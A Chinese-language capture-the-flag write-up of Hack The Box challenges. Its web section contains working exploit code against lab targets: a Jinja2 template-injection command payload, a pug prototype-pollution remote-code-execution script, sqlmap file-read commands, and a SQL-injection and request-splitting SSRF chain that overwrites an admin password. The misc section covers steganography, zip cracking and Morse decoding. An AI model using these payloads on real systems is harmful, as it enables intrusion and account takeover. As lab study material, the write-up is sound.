新版HackTheBox(HTB)笔记

849 阅读2分钟

Challenges

Web

Emdee five for life

easy 题 加密md5 然后提交 其实就是py小脚本训练 贴下脚本

import requests
import re
import hashlib


url = "http://46.101.53.249:32444/"

while(1):

    r = requests.session()
    resp = r.get(url)
    code = re.findall("<h3 align='center'>(.*?)</h3>", resp.text)
    code = code[0]
    print(code)
    m = hashlib.md5()
    b = code.encode(encoding='utf-8')
    m.update(b)
    str_md5 = m.hexdigest()
    print(str_md5)

    data = {
        'hash': str_md5
    }
    resp1 = r.post(url=url, data=data)
    print(resp1.text)
    if ("Too slow!" in resp1.text):
        continue
    else:
        print(resp1.text)

Templated

easy 题 在这里插入图片描述 flask jinja2 ssti模块注入 开始我用了Arjun扫了下参数没扫到。。然后随便进几个目录发现 在这里插入图片描述 这里解析了 ss 尝试访问下{{config}} 在这里插入图片描述 接下来就是构造payload 来命令执行了 简单思路:找Object 再找warnings.catch_warnings payload:

{{ "".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag*").read() }}

Phonebook

Easy题 进来是一个登录界面 在这里插入图片描述 测试发现如果我们使用*当作账户密码可以直接登入,但是登录之后并获取不到flag,*的有匹配的含义, 比如cat flag11111 我们就可以用cat flag*,思路有了来写个小脚本尝试爆破下账户和密码

import requests
url = "http://46.101.53.249:31174/login"
username=""
data = {
    "username": username + "*",
    "password": "*"
}
input_data = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","#","$","%","@","!","0","1","2","3","4","5","6","7","8","9","{","}","[","]","_","&","^"," "]
while(1):
    for i in input_data:
        username = username + i

        data = {
            "username": username + "*",
            "password": "*"
        }

        resp = requests.post(url=url,data=data)
        if("/search" in resp.text):
            print(data)
            break
        else:
            username=username[:-1]

1 账户为reese 同理改下脚本来bp下密码 密码即是flag...(爆了快半小时) 这里就不贴脚本了

FreeLancer

首页有个表单,表单提交的数据一直500,xss也没法利用 在这里插入图片描述 在这里插入图片描述 拿dirb扫一下 在这里插入图片描述 扫到了一个/administrat/ 目录 登录进去是一个登录界面 看下源码有没有提示 在这里插入图片描述 在源码上多注意些注释 <!-- 以及一些地址href= 进入/portfolio.php?id=2 手工测试下

/portfolio.php?id=2 and 1=1--+ 回显正常
/portfolio.php?id=2 and 1=2--+ 回显失败

布尔注入 丢进sqlmap里 在这里插入图片描述 dump下数据库 在这里插入图片描述 加密了,查看数据库权限 尝试了--os-shell 也不行 试试能不能读文件,虽然我们没有路径,但linux的web大多数都是放在/var/www/html下

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/index.php

读出来了 把已知的都读一下 看下源码

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/portfolio.php

在这里插入图片描述 从这也能发现那个/administrat/的管理界面

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/index.php

在这里插入图片描述

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/panel.php

最后在这个源码中读到了flag,挺折磨人的,开始还以为要读加密的姿势去逆向或者暴力呢,不知道师傅们有没有其他思路

Gunship

download源码, 安装的包 (package.json)

	"dependencies": {
		"express": "^4.17.1",
		"flat": "5.0.0",
		"pug": "^3.0.0"
	}

pug:3.0.0 可以利用,存在rce github.com/pugjs/pug/i…

利用位置 (routes/index.js)

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

可以看出向/api/submit 请求的body 传给了unflatten

利用链

{
	"artist.name":"Haigh","__proto__.block": {
	"type": "Text", 
	"line": "process.mainModule.require('child_process').execSync('$(ls | grep flag)')"
	}
}

在这里插入图片描述 我们使用$(ls | grep flag)可以将报错信息带出来,也是无回显rce的一个小trick

cat flag

		{
			"artist.name":"Haigh","__proto__.block": {
	        "type": "Text", 
	        "line": "process.mainModule.require('child_process').execSync('$(cat flagOUpyU)')"
		    }
		}

在这里插入图片描述 exp:

import requests

TARGET_URL = 'http://157.245.40.206:30563'

# first : $(ls | grep flag)
r = requests.post(TARGET_URL+'/api/submit', json = 		{
			"artist.name":"Haigh","__proto__.block": {
	        "type": "Text", 
	        "line": "process.mainModule.require('child_process').execSync('$(cat flagOUpyU)')"
		    }
		})

print(r.status_code)
print(r.text)

Weather App

download源码, 查看路由(routes/index.js)

实现了login、register、/api/weather接口。

从代码上看到register接口有个限制

router.post('/register', (req, res) => {

	if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
		return res.status(401).end();
	}

	let { username, password } = req.body;

	if (username && password) {
		return db.register(username, password)
			.then(()  => res.send(response('Successfully registered')))
			.catch(() => res.send(response('Something went wrong')));
	}

	return res.send(response('Missing parameters'));
});

判断注册的请求来源必须是127.0.0.1, 应该是要触发ssrf

接着在login中明显看出需要我们登录admin的账户就能get flag

router.post('/login', (req, res) => {
	let { username, password } = req.body;

	if (username && password) {
		return db.isAdmin(username, password)
			.then(admin => {
				if (admin) return res.send(fs.readFileSync('/app/flag').toString());
				return res.send(response('You are not admin'));
			})
			.catch(() => res.send(response('Something went wrong')));
	}
	
	return re.send(response('Missing parameters'));
});

观察一下与数据库操作有关的文件(database.js)

    async migrate() {
        return this.db.exec(`
            DROP TABLE IF EXISTS users;

            CREATE TABLE IF NOT EXISTS users (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                username   VARCHAR(255) NOT NULL UNIQUE,
                password   VARCHAR(255) NOT NULL
            );

            INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
        `);
    }

其中username 属于unique约束,并且默认32字节的密码,无法爆破

接着看其余的代码(database.js)

    async register(user, pass) {
        // TODO: add parameterization and roll public
        return new Promise(async (resolve, reject) => {
            try {
                let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
                resolve((await this.db.run(query)));
            } catch(e) {
                reject(e);
            }
        });
    }

并没有对参数进行过滤,可以进行拼接。例如 user : admin pass: 1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';-- 其中sql语句就变成了

INSERT INTO users (username, password) VALUES ('admin', '1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';--')

当执行冲突时,会update密码。

接下来就是找到一个ssrf点去发送这个post请求包了

看到/api/weather接口 (routes/index.js)

router.post('/api/weather', (req, res) => {
	let { endpoint, city, country } = req.body;

	if (endpoint && city && country) {
		return WeatherHelper.getWeather(res, endpoint, city, country);
	}

	return res.send(response('Missing parameters'));
});	

跟进WeatherHelper.getWeather方法(helpers/WeatherHelper.js)

    async getWeather(res, endpoint, city, country) {

        // *.openweathermap.org is out of scope
        let apiKey = '10a62430af617a949055a46fa6dec32f';
        let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`); 
        
        if (weatherData.name) {
            let weatherDescription = weatherData.weather[0].description;
            let weatherIcon = weatherData.weather[0].icon.slice(0, -1);
            let weatherTemp = weatherData.main.temp;

            switch (parseInt(weatherIcon)) {
                case 2: case 3: case 4:
                    weatherIcon = 'icon-clouds';
                    break;
                case 9: case 10:
                    weatherIcon = 'icon-rain';
                    break;
                case 11:
                    weatherIcon = 'icon-storm';
                    break;
                case 13:
                    weatherIcon = 'icon-snow';
                    break;
                default:
                    weatherIcon = 'icon-sun';
                    break;
            }

            return res.send({
                desc: weatherDescription,
                icon: weatherIcon,
                temp: weatherTemp,
            });
        } 

        return res.send({
            error: `Could not find ${city} or ${country}`
        });
    }

其中进行HttpHelper.HttpGet请求,参考Node中的Request Splitting

可以构造一个分隔的payload来发送请求 需要将空格编码为\u0120 、 \r 编码为 \u010d 、 \n编码为 \u010A 、其余字符进行url编码

exp:

import requests


url = "http://68.183.45.200:31945"

username = 'admin'
password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parseUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
parsePassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parseUsername) + len(parsePassword) + 19
endpoint =  '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHOST:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str(contentLength) + '\u010D\u010A\u010D\u010Ausername=' + parseUsername + '&password=' + parsePassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='
r = requests.post(url + '/api/weather', json={'endpoint': endpoint, 'city': 'chengdu', 'country': 'CN'})
print(r)

之后直接登录admin即可 在这里插入图片描述

MISC

misDIRection

download文件,unzip解压发现其中都是空的文件,但其中部分文件夹中具有数字标识, 范围从1-36 在这里插入图片描述 将有数字的进行过滤出来,并整理成如下格式 在这里插入图片描述 对第二位进行排序,需要将1补成01、2补成02,直接用bash命令排序了,sore msg.txt -k 2 在这里插入图片描述 得到排列好的字母,按顺序将字母拼接,再进行base64解密即可 exp:

file = "msg4.txt"
secret = ""
with open(file, "r") as f:
    data = f.readlines()

for item in data:
    secret += item.split(" ")[0]

print(secret)

在这里插入图片描述

Blackhole

download下文件,file查看文件类型,发现是jpg文件

使用binwalk无果,使用stegcracker爆破

在这里插入图片描述 爆破出来密码,从图中也能猜出来(脑洞) 使用 steghide extract -sf file 解密文件 得出flag.txt, 特征和积累看的出来是base64套娃,

在这里插入图片描述 www.boxentriq.com/code-breaki…

这个能在线查看密文的类型,发现是凯撒在这里插入图片描述 使用在线网站解密,偏移14位即可 cryptii.com/ 在这里插入图片描述

Eternal Loop

套娃,压缩包里面的文件名是该压缩包的密码。写个脚本一直解压

import zipfile

name = "37366.zip"
while 1:
    zFile = zipfile.ZipFile(r'D:\Temp\HTB\MISC\Eternal Loop\{}'.format(name), "r")
    name = zFile.namelist()[0]
    password = zFile.namelist()[0].split(".")[0]
    print(zFile.namelist()[0])
    zFile.extract(zFile.namelist()[0], r"D:\Temp\HTB\MISC\Eternal Loop", pwd=bytes(password, 'utf-8'))

最后解压到6969.zip报错,去爆破下zip密码在这里插入图片描述

fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt 6969.zip

在这里插入图片描述

解压 file 发现是SQL文件,直接

strings DoNotTouch | grep "HTB"

在这里插入图片描述

Longbottom's Locker

解压压缩包 其中网站源码逻辑如下,(index.html)

<script>
    document.getElementById('neville-locker-form').addEventListener('submit', function(e) {
        e.preventDefault();

        var passphrase = document.getElementById('passwd').value,
            encryptedMsg = '4cce4470203e10b395ab1787a22553a5b2503d42a965da813676d929cc16f76cU2FsdGVkX19FvUyhqWoQKHXNLBL64g8acK4UQoP6XZQ/n4MRL3rgQj8TJ/3r8Awtxte2V9s+RLfQHJOHGwYtctqRa/H2BetmxjwGG+LYKUWC8Z6WBoYbecwtATCOuwewnp+VKBzsWLme+3BZyRgKEA==',
            encryptedHMAC = encryptedMsg.substring(0, 64),
            encryptedHTML = encryptedMsg.substring(64),
            decryptedHMAC = CryptoJS.HmacSHA256(encryptedHTML, CryptoJS.SHA256(passphrase).toString()).toString();

        if (decryptedHMAC !== encryptedHMAC) {
            alert('Bad passphrase!');
            return;
        }

        var plainHTML = CryptoJS.AES.decrypt(encryptedHTML, passphrase).toString(CryptoJS.enc.Utf8);

        document.write(plainHTML);
        document.close();
    });
</script>

HMAC是一个基于Hash函数的,逆不出来,最终plainhtml也需要输入的信息进行解码渲染flag,只能找其他思路

socute.jpg binwalk 分离出一个zip,解压得到donotshare

(lp1
(lp2
(S' '
I163
tp3
aa(lp4
(S' '
I1
tp5
a(S'.'
I1
tp6
a(S'd'
I1
tp7
a(S'8'
I4
tp8
a(S'b'
I1
tp9
a(S'.'
I1
tp10
a(S' '
I12

Google到了该字符类似于一个符号横幅。用下面读取并打印输出得

import pickle

f = open('donotshare', 'rb')

o = pickle.load(f)

outstr = ''
for line in o:
    for char,n in line:
        outstr += char*n
    outstr += '\n'
print(outstr)

在这里插入图片描述 Gu1d0-v4N-R055Um, 输入即可得到flag

Canvas

在js中被编码了,去解开js的编码,可以看到大致逻辑,在浏览器中打断点可以看出用户名和密码都是admin,之后渲染了一个canvas,从js中最后一行找到找个canvas的十六进制 进行十六进制转ASCII

在这里插入图片描述

class Converter(object):
    @staticmethod
    def to_ascii(h):
        list_s = []
        for i in range(0, len(h), 2):
            list_s.append(chr(int(h[i:i+2], 16)))
        return ''.join(list_s)

    @staticmethod
    def to_hex(s):
        list_h = []
        for c in s:
            list_h.append(str(hex(ord(c))[2:]))
        return ''.join(list_h)


print(Converter.to_ascii("4854427b57334c63306d335f37305f4a3456343543523170375f6433306246753543343731304e7da"))

M0rsarchive

每一层有一个pwd.png和一个压缩包,pwd.png是一个彩色条纹和圆点的非常小的图像,也就是摩斯密码,套了很多很多层,写脚本去识别摩斯密码,并递归解压。

参考:sequr.be/blog/2019/1… exp:


def getMorse(image):
  """Get morse out of image

  This assumes the background colour is static and morse code has a different colour.
  Morse code can be in any colour, as long as it is not the same as the top-left pixel.


  >>> getMorse('pwd.png')
  ['----.']

  """

  from PIL import Image
  import re

  im = Image.open(image, 'r')

  chars = []
  background = im.getdata()[0]

  for i, v in enumerate(list(im.getdata())):
    if v == background:
      chars.append(" ")
    else:
      chars.append("*")

    # print "{0: <4}: {1: <15} ({2})".format(i, v, "[-] BG" if v == background else "[+] FG")

  output =  "".join(chars)

  # Clean output by removing whitespace front and back
  # Then make dash out of every combination of 3 dots
  # Convert dots to actual dot
  # Convert whitespace between letters (i.e. >1 bg pixel) to seperator
  # Remove whitespace
  # Return list of letters
  output = re.sub(r'^\s*', '', output)
  output = re.sub(r'\s*$', '', output)
  output = re.sub(r'\*{3}', '-', output)
  output = re.sub(r'\*', '.', output)
  output = re.sub(r'\s{2,}', ' | ', output)
  output = re.sub(r'\s', '', output)
  output = output.split('|')

  return output

def getPassword(morse):
  """Decode morse

  Convert morse back into text.
  Takes list of letters as input, returns converted text.

  Note that challenge uses lowercase letters.

  >>> getPassword(['----.'])
  '9'

  """
  MORSE_CODE_DICT = {
    '.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D',
    '.': 'E', '..-.': 'F', '--.': 'G', '....': 'H',
    '..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L',
    '--': 'M', '-.': 'N', '---': 'O', '.--.': 'P',
    '--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T',
    '..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X',
    '-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1',
    '..---': '2', '...--': '3', '....-': '4', '.....': '5',
    '-....': '6', '--...': '7', '---..': '8', '----.': '9',
    '-..-.': '/', '.-.-.-': '.', '-.--.-': ')', '..--..': '?',
    '-.--.': '(', '-....-': '-', '--..--': ','
  }

  for item in morse:
    return "".join([MORSE_CODE_DICT.get(item) for item in morse]).lower()


def main():
  """ Auto start

  Used for automation.
  Automatically call methods and use 'pwd.png' as input image.

  """
  print (getPassword(getMorse("pwd.png")))


if __name__ == "__main__":
  main()

并使用sh脚本去循环执行

#!/bin/bash

RESULT=0

while [ $RESULT -eq 0 ]
do
        PASSWORD="$( python3 /root/桌面/HTB/MISC/M0rsachive/exp.py )"
        ZIPFILE="$( ls *.zip )"
        unzip -P "$PASSWORD" "$ZIPFILE"
        RESULT=$?
        echo "Unzipped $ZIPFILE using password $PASSWORD ($RESULT)"
        cd flag
done

由于路径也过于长, 使用find也查不出来最外层的flag

$ find . -iname "flag" -type f -exec cat {} \;
cat: ./flag/flag/[...]/flag/flag/flag: File name too long

利用脚本:

while [ $? -eq 0 ]; do cd flag/; done
cat flag

在这里插入图片描述